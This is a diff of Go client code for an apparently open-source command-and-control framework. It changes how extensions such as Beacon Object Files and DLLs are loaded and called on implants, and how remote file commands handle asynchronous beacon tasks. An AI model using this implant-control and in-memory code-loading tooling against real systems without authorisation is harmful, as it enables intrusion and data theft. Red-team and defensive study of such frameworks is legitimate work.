along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"encoding/binary"
"encoding/json"
"errors"
"fmt"
"io/ioutil"
"os"
@@ -28,80 +13,59 @@ import (
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/command/help"
"golang.org/x/text/encoding/unicode"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
const (
defaultTimeout = 60
windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
linuxDefaultHostProc = "/bin/bash"
macosDefaultHostProc = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
)
var commandMap map[string]extension
var defaultHostProc = map[string]string{
"windows": windowsDefaultHostProc,
"linux": windowsDefaultHostProc,
"darwin": macosDefaultHostProc,
}
var commandMap map[string]extensionCommand
type extensionCommand struct {
Name string `json:"name"`
Help string `json:"help"`
Files []extensionFiles `json:"extFiles"`
Arguments []extensionArgument `json:"arguments"`
Entrypoint string `json:"entrypoint"`
DependsOn string `json:"dependsOn"`
Init string `json:"init"`
Path string
}
type binFiles struct {
Ext64Path string `json:"x64"`
Ext32Path string `json:"x86"`
}
type extFile struct {
type extensionFiles struct {
OS string `json:"os"`
Files binFiles `json:"files"`
}
type extensionCommand struct {
Name string `json:"name"`
Entrypoint string `json:"entrypoint"`
Help string `json:"help"`
LongHelp string `json:"longHelp"`
AllowArgs bool `json:"allowArgs"`
DefaultArgs string `json:"defaultArgs"`
ExtensionFiles []extFile `json:"extFiles"`
IsReflective bool `json:"isReflective"`
IsAssembly bool `json:"IsAssembly"`
type extensionArgument struct {
Name string `json:"name"`
Type string `json:"type"`
Desc string `json:"desc"`
Optional bool `json:"optional"`
}
func (ec *extensionCommand) getDefaultProcess(targetOS string) (proc string, err error) {
proc, ok := defaultHostProc[targetOS]
if !ok {
err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
}
return
}
type extension struct {
Name string `json:"extensionName"`
Commands []extensionCommand `json:"extensionCommands"`
Path string
}
func (e *extension) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
for _, c := range e.Commands {
if cmdName == c.Name {
for _, ef := range c.ExtensionFiles {
if targetOS == ef.OS {
switch targetArch {
case "x86":
filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext32Path)
case "x64":
filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext64Path)
default:
filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext64Path)
}
}
func (e *extensionCommand) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
for _, ef := range e.Files {
if targetOS == ef.OS {
switch targetArch {
case "386":
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext32Path)
case "amd64":
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
default:
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
}
}
}
if filePath == "" {
@@ -110,132 +74,237 @@ func (e *extension) getFileForTarget(cmdName string, targetOS string, targetArch
return
}
func (e *extension) getCommandFromName(name string) (extCmd *extensionCommand, err error) {
for _, x := range e.Commands {
if x.Name == name {
extCmd = &x
return
}
}
err = fmt.Errorf("no extension command found for name %s", name)
return
}
// LoadExtensionCmd - Locally load an extension into the Sliver shell.
func LoadExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func LoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dirPath := ctx.Args.String("dir-path")
if dirPath == "" {
con.PrintErrorf("Please provide an extension path\n")
extCmds, err := ParseExtensions(dirPath)
if err != nil {
return
}
// retrieve extension manifest
manifestPath := fmt.Sprintf("%s/%s", dirPath, "manifest.json")
for _, extCmd := range extCmds {
// do not add if the command already exists
if cmdExists(extCmd.Name, con.App) {
con.PrintErrorf("%s command already exists\n", extCmd.Name)
continue
}
RegisterExtensionCommand(extCmd, con)
con.PrintInfof("Added %s command: %s\n", extCmd.Name, extCmd.Help)
}
}
func ParseExtensions(extPath string) ([]*extensionCommand, error) {
manifestPath := filepath.Join(extPath, "manifest.json")
jsonBytes, err := ioutil.ReadFile(manifestPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil, err
}
// parse it
ext := &extension{}
err = json.Unmarshal(jsonBytes, ext)
extensionsCmds := make([]*extensionCommand, 0)
err = json.Unmarshal(jsonBytes, &extensionsCmds)
if err != nil {
con.PrintErrorf("Error loading extension: %v", err)
return
return nil, err
}
ext.Path = dirPath
// for each extension command, add a new app command
for _, extCmd := range ext.Commands {
// do not add if the command already exists
if cmdExists(extCmd.Name, ctx.App) {
con.PrintErrorf("%s command already exists\n", extCmd.Name)
return
}
con.PrintInfof("Adding %s command: %s\n", extCmd.Name, extCmd.Help)
// Have to use a global map here, as passing the extCmd
// either by value or by ref fucks things up
commandMap[extCmd.Name] = *ext
helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help)
extensionCmd := &grumble.Command{
Name: extCmd.Name,
Help: helpMsg,
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
Run: func(extCtx *grumble.Context) error {
con.Println()
runExtensionCommand(extCtx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
if extCmd.IsAssembly {
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
}
f.String("p", "process", "", "Path to process to host the shared object")
f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.StringList("arguments", "arguments", grumble.Default([]string{}))
},
HelpGroup: consts.ExtensionHelpGroup,
}
con.App.AddCommand(extensionCmd)
for _, extCmd := range extensionsCmds {
extCmd.Path = extPath
commandMap[extCmd.Name] = *extCmd
}
con.PrintInfof("%s extension has been loaded\n", ext.Name)
return extensionsCmds, nil
}
func runExtensionCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
func RegisterExtensionCommand(extCmd *extensionCommand, con *console.SliverConsoleClient) {
commandMap[extCmd.Name] = *extCmd
helpMsg := extCmd.Help
extensionCmd := &grumble.Command{
Name: extCmd.Name,
Help: helpMsg,
Run: func(extCtx *grumble.Context) error {
con.Println()
runExtensionCmd(extCtx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
if len(extCmd.Arguments) > 0 {
// BOF specific
for _, arg := range extCmd.Arguments {
var (
argFunc func(string, string, ...grumble.ArgOption)
defaultValue grumble.ArgOption
)
switch arg.Type {
case "int", "short":
argFunc = a.Int
defaultValue = grumble.Default(0)
case "string", "wstring", "file":
argFunc = a.String
defaultValue = grumble.Default("")
}
if arg.Optional {
argFunc(arg.Name, arg.Desc, defaultValue)
} else {
argFunc(arg.Name, arg.Desc)
}
}
} else {
a.StringList("arguments", "arguments", grumble.Default([]string{}))
}
},
HelpGroup: consts.ExtensionHelpGroup,
}
con.App.AddCommand(extensionCmd)
}
func ListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("Error: %s", err)
return
}
if extList.Response != nil && extList.Response.Err != "" {
con.PrintErrorf("Error: %s", extList.Response.Err)
return
}
if len(extList.Names) > 0 {
con.PrintInfof("Loaded extensions:\n")
for _, ext := range extList.Names {
con.Printf("- %s\n", ext)
}
}
}
func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console.SliverConsoleClient, ext *extensionCommand) error {
var extensionList []string
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
if err != nil {
return err
}
// Try to find the extension in the loaded extensions
if len(session.Extensions) == 0 {
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("Error: %s\n", err.Error())
return err
}
if extList.Response != nil && extList.Response.Err != "" {
return errors.New(extList.Response.Err)
}
extensionList = extList.Names
} else {
extensionList = session.Extensions
}
depLoaded := false
for _, extName := range extensionList {
if !depLoaded && extName == ext.DependsOn {
depLoaded = true
}
if ext.Name == extName {
return nil
}
}
// Extension not found, let's load it
if filepath.Ext(binPath) == ".o" {
// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
// Auto load the coff loader if we have it
if !depLoaded {
if errLoad := loadDep(session, con, ctx, ext.DependsOn); errLoad != nil {
return errLoad
}
}
return nil
}
binData, err := ioutil.ReadFile(binPath)
if err != nil {
return err
}
if errRegister := registerExtension(con, ext, binData, session, ctx); errRegister != nil {
return errRegister
}
// Update session info
if filepath.Ext(binPath) != ".o" {
// Don't update session for BOFs, we don't cache them
// on the implant side (yet)
// update the Session info
_, err = con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
Extensions: extensionList,
SessionID: session.ID,
})
if err != nil {
con.PrintErrorf("Error: %s\n", err.Error())
return err
}
}
return nil
}
func registerExtension(con *console.SliverConsoleClient, ext *extensionCommand, binData []byte, session *clientpb.Session, ctx *grumble.Context) error {
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
Name: ext.Name,
Data: binData,
OS: session.OS,
Init: ext.Init,
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return err
}
if registerResp.Response != nil && registerResp.Response.Err != "" {
return errors.New(registerResp.Response.Err)
}
return nil
}
func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *grumble.Context, depName string) error {
depExt, f := commandMap[depName]
if f {
depBinPath, err := depExt.getFileForTarget(depExt.Name, session.OS, session.Arch)
if err != nil {
return err
}
depBinData, err := ioutil.ReadFile(depBinPath)
if err != nil {
return err
}
return registerExtension(con, &depExt, depBinData, session, ctx)
}
return fmt.Errorf("missing dependency %s", depName)
}
func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
callExtension *sliverpb.CallExtension
err error
extensionArgs []byte
extName string
entryPoint string
)
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
ext, ok := commandMap[ctx.Command.Name]
if !ok {
con.PrintErrorf("No extension command found for `%s` command\n", ctx.Command.Name)
return
}
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
if err != nil {
con.PrintErrorf("%s\n", err)
if err = loadExtension(ctx, session, con, &ext); err != nil {
return
}
c, err := ext.getCommandFromName(ctx.Command.Name)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
args := ctx.Args.StringList("arguments")
var extArgs string
if len(c.DefaultArgs) != 0 && len(args) == 0 {
extArgs = c.DefaultArgs
} else {
extArgs = strings.Join(args, " ")
}
entryPoint := c.Entrypoint
processName := ctx.Flags.String("process")
if processName == "" {
processName, err = c.getDefaultProcess(session.GetOS())
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
isDLL := false
if filepath.Ext(binPath) == ".dll" {
isDLL = true
}
binData, err := ioutil.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
@@ -245,86 +314,142 @@ func runExtensionCommand(ctx *grumble.Context, con *console.SliverConsoleClient)
return
}
}
if c.IsAssembly {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveSession.Request(ctx),
IsDLL: isDLL,
Process: processName,
Arguments: extArgs,
Assembly: binData,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
})
ctrl <- true
<-ctrl
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
isBOF := filepath.Ext(binPath) == ".o"
// BOFs (Beacon Object Files) are a specific kind of extensions
// that require another extension (a COFF loader) to be present.
// BOFs also have strongly typed arguments that need to be parsed in the proper way.
// This block will pack both the BOF data and its arguments into a single buffer that
// the loader will extract and load.
if isBOF {
// Beacon Object File -- requires a COFF loader
extensionArgs, err = getBOFArgs(ctx, binPath, ext)
if err != nil {
con.PrintErrorf("%s\n", err)
con.PrintErrorf("Error: %s\n", err)
return
}
con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
if outFilePath != nil {
outFilePath.Write(executeAssemblyResp.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
} else if c.IsReflective {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
Request: con.ActiveSession.Request(ctx),
Args: strings.Trim(extArgs, " "),
Data: binData,
ProcessName: processName,
EntryPoint: c.Entrypoint,
Kill: true,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawnDllResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
extName = ext.DependsOn
entryPoint = commandMap[extName].Entrypoint // should exist at this point
} else {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
Request: con.ActiveSession.Request(ctx),
Args: extArgs,
Data: binData,
EntryPoint: entryPoint,
ProcessName: processName,
Kill: true,
IsDLL: isDLL,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
// Regular DLL
extArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
extensionArgs = []byte(extArgs)
extName = ext.Name
entryPoint = ext.Entrypoint
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s ...", ctx.Command.Name)
con.SpinUntil(msg, ctrl)
callExtension, err = con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
Name: extName,
Export: entryPoint,
Args: extensionArgs,
Request: con.ActiveTarget.Request(ctx),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error: %s\n", err.Error())
return
}
if callExtension.Response != nil && callExtension.Response.Err != "" {
con.PrintErrorf("Error: %s\n", callExtension.Response.Err)
return
}
con.PrintInfof("Successfully executed %s\n", extName)
if len(callExtension.Output) > 0 {
con.PrintInfof("Got output:\n%s", string(callExtension.Output))
if outFilePath != nil {
outFilePath.Write([]byte(sideloadResp.GetResult()))
outFilePath.Write(callExtension.Output)
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
}
func getBOFArgs(ctx *grumble.Context, binPath string, ext extensionCommand) ([]byte, error) {
var extensionArgs []byte
binData, err := ioutil.ReadFile(binPath)
if err != nil {
return nil, err
}
argsBuffer := BOFArgsBuffer{
Buffer: new(bytes.Buffer),
}
// Parse BOF arguments from grumble
for _, arg := range ext.Arguments {
switch arg.Type {
case "int":
val := ctx.Args.Int(arg.Name)
err = argsBuffer.AddInt(uint32(val))
if err != nil {
return nil, err
}
case "short":
val := ctx.Args.Int(arg.Name)
err = argsBuffer.AddShort(uint16(val))
if err != nil {
return nil, err
}
case "string":
val := ctx.Args.String(arg.Name)
err = argsBuffer.AddString(val)
if err != nil {
return nil, err
}
case "wstring":
val := ctx.Args.String(arg.Name)
err = argsBuffer.AddWString(val)
if err != nil {
return nil, err
}
// Adding support for filepaths so we can
// send binary data like shellcodes to BOFs
case "file":
val := ctx.Args.String(arg.Name)
data, err := ioutil.ReadFile(val)
if err != nil {
return nil, err
}
err = argsBuffer.AddData(data)
if err != nil {
return nil, err
}
}
}
parsedArgs, err := argsBuffer.GetBuffer()
if err != nil {
return nil, err
}
// Now build the extension's argument buffer
extensionArgsBuffer := BOFArgsBuffer{
Buffer: new(bytes.Buffer),
}
err = extensionArgsBuffer.AddString(ext.Entrypoint)
if err != nil {
return nil, err
}
err = extensionArgsBuffer.AddData(binData)
if err != nil {
return nil, err
}
err = extensionArgsBuffer.AddData(parsedArgs)
if err != nil {
return nil, err
}
extensionArgs, err = extensionArgsBuffer.GetBuffer()
if err != nil {
return nil, err
}
return extensionArgs, nil
}
func cmdExists(name string, app *grumble.App) bool {
for _, c := range app.Commands().All() {
if name == c.Name {
@@ -335,5 +460,66 @@ func cmdExists(name string, app *grumble.App) bool {
}
func init() {
commandMap = make(map[string]extension)
commandMap = make(map[string]extensionCommand)
}
// BOF Specific code
type BOFArgsBuffer struct {
Buffer *bytes.Buffer
}
func (b *BOFArgsBuffer) AddData(d []byte) error {
dataLen := uint32(len(d))
err := binary.Write(b.Buffer, binary.LittleEndian, &dataLen)
if err != nil {
return err
}
return binary.Write(b.Buffer, binary.LittleEndian, &d)
}
func (b *BOFArgsBuffer) AddShort(d uint16) error {
return binary.Write(b.Buffer, binary.LittleEndian, &d)
}
func (b *BOFArgsBuffer) AddInt(d uint32) error {
return binary.Write(b.Buffer, binary.LittleEndian, &d)
}
func (b *BOFArgsBuffer) AddString(d string) error {
stringLen := uint32(len(d)) + 1
err := binary.Write(b.Buffer, binary.LittleEndian, &stringLen)
if err != nil {
return err
}
dBytes := append([]byte(d), 0x00)
return binary.Write(b.Buffer, binary.LittleEndian, dBytes)
}
func (b *BOFArgsBuffer) AddWString(d string) error {
encoder := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder()
strBytes := append([]byte(d), 0x00)
utf16Data, err := encoder.Bytes(strBytes)
if err != nil {
return err
}
stringLen := uint32(len(utf16Data))
err = binary.Write(b.Buffer, binary.LittleEndian, &stringLen)
if err != nil {
return err
}
return binary.Write(b.Buffer, binary.LittleEndian, utf16Data)
}
func (b *BOFArgsBuffer) GetBuffer() ([]byte, error) {
outBuffer := new(bytes.Buffer)
err := binary.Write(outBuffer, binary.LittleEndian, uint32(b.Buffer.Len()))
if err != nil {
return nil, err
}
err = binary.Write(outBuffer, binary.LittleEndian, b.Buffer.Bytes())
if err != nil {
return nil, err
}
return outBuffer.Bytes(), nil
}
+28 -11
View File
@@ -28,16 +28,18 @@ import (
"github.com/alecthomas/chroma/lexers"
"github.com/alecthomas/chroma/styles"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// CatCmd - Display the contents of a remote file
func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -48,13 +50,36 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: filePath,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if download.Response != nil && download.Response.Async {
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, download)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintCat(download, ctx, con)
})
con.PrintAsyncResponse(download.Response)
} else {
PrintCat(download, ctx, con)
}
}
// PrintCat - Print the download to stdout
func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
@@ -73,14 +98,6 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Println(string(download.Data))
}
}
// if ctx.Flags.Bool("loot") && 0 < len(download.Data) {
// err = AddLootFile(rpc, fmt.Sprintf("[cat] %s", filepath.Base(filePath)), filePath, download.Data, false)
// if err != nil {
// con.PrintErrorf("Failed to save output as loot: %s", err)
// } else {
// fmt.Printf(clearln + Info + "Output saved as loot\n")
// }
// }
}
func colorize(f *sliverpb.Download) error {
+19 -4
View File
@@ -22,26 +22,41 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// CdCmd - Change directory on the remote system
func CdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
filePath := ctx.Args.String("path")
pwd, err := con.Rpc.Cd(context.Background(), &sliverpb.CdReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: filePath,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if pwd.Response != nil && pwd.Response.Async {
con.AddBeaconCallback(pwd.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, pwd)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintPwd(pwd, con)
})
con.PrintAsyncResponse(pwd.Response)
} else {
con.PrintInfof("%s\n", pwd.Path)
PrintPwd(pwd, con)
}
}
+49 -21
View File
@@ -27,16 +27,18 @@ import (
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// DownloadCmd - Download a file from the remote system
func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -55,19 +57,10 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dst = path.Join(dst, fileName)
}
if _, err := os.Stat(dst); err == nil {
overwrite := false
prompt := &survey.Confirm{Message: "Overwrite local file?"}
survey.AskOne(prompt, &overwrite, nil)
if !overwrite {
return
}
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, dst), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
})
ctrl <- true
@@ -76,7 +69,51 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
if download.Response != nil && download.Response.Async {
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, download)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintDownload(download, ctx, con)
})
con.PrintAsyncResponse(download.Response)
} else {
PrintDownload(download, ctx, con)
}
}
// PrintDownload - Print the download response, and save file to disk
func PrintDownload(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
remotePath := ctx.Args.String("remote-path")
localPath := ctx.Args.String("local-path")
src := remotePath
fileName := filepath.Base(src)
dst, _ := filepath.Abs(localPath)
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
dst = path.Join(dst, fileName)
}
if _, err := os.Stat(dst); err == nil {
overwrite := false
prompt := &survey.Confirm{Message: "Overwrite local file?"}
survey.AskOne(prompt, &overwrite, nil)
if !overwrite {
return
}
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
@@ -96,13 +133,4 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
} else {
con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name())
}
// if ctx.Flags.Bool("loot") && 0 < len(download.Data) {
// err = AddLootFile(rpc, fmt.Sprintf("[download] %s", filepath.Base(remotePath)), remotePath, download.Data, false)
// if err != nil {
// con.PrintErrorf("Failed to save output as loot: %s", err)
// } else {
// fmt.Printf(Info + "Output saved as loot\n")
// }
// }
}
+30 -11
View File
@@ -29,16 +29,18 @@ import (
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// LsCmd - List the contents of a remote directory
func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -60,18 +62,17 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
of the client does not necessarily match the OS of the
implant
*/
lastSeparatorOccurence := strings.LastIndex(testPath, "/")
lastSeparatorOccurrence := strings.LastIndex(testPath, "/")
if lastSeparatorOccurence == -1 {
if lastSeparatorOccurrence == -1 {
// Then this is only a filter
filter = remotePath
remotePath = "."
} else {
// Then we need to test for a filter on the end of the string
// The indicies should be the same because we did not change the length of the string
baseDir := remotePath[:lastSeparatorOccurence]
potentialFilter := remotePath[lastSeparatorOccurence+1:]
// The indices should be the same because we did not change the length of the string
baseDir := remotePath[:lastSeparatorOccurrence]
potentialFilter := remotePath[lastSeparatorOccurrence+1:]
_, err := filepath.Match(potentialFilter, "")
@@ -84,18 +85,36 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
})
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
if ls.Response != nil && ls.Response.Async {
con.AddBeaconCallback(ls.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, ls)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintLs(ls, ctx.Flags, filter, con)
})
con.PrintAsyncResponse(ls.Response)
} else {
PrintLs(ls, con, ctx.Flags, filter)
PrintLs(ls, ctx.Flags, filter, con)
}
}
// PrintLs - Display an sliverpb.Ls object
func PrintLs(ls *sliverpb.Ls, con *console.SliverConsoleClient, flags grumble.FlagMap, filter string) {
func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, filter string, con *console.SliverConsoleClient) {
if ls.Response != nil && ls.Response.Err != "" {
con.PrintErrorf("%s\n", ls.Response.Err)
return
}
con.Printf("%s\n", ls.Path)
con.Printf("%s\n", strings.Repeat("=", len(ls.Path)))
+28 -4
View File
@@ -22,15 +22,17 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// MkdirCmd - Make a remote directory
func MkdirCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -42,12 +44,34 @@ func MkdirCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
mkdir, err := con.Rpc.Mkdir(context.Background(), &sliverpb.MkdirReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: filePath,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if mkdir.Response != nil && mkdir.Response.Async {
con.AddBeaconCallback(mkdir.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, mkdir)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintMkdir(mkdir, con)
})
con.PrintAsyncResponse(mkdir.Response)
} else {
con.PrintInfof("%s\n", mkdir.Path)
PrintMkdir(mkdir, con)
}
}
// PrintMkdir - Print make directory
func PrintMkdir(mkdir *sliverpb.Mkdir, con *console.SliverConsoleClient) {
if mkdir.Response != nil && mkdir.Response.Err != "" {
con.PrintErrorf("%s\n", mkdir.Response.Err)
return
}
con.PrintInfof("%s\n", mkdir.Path)
}
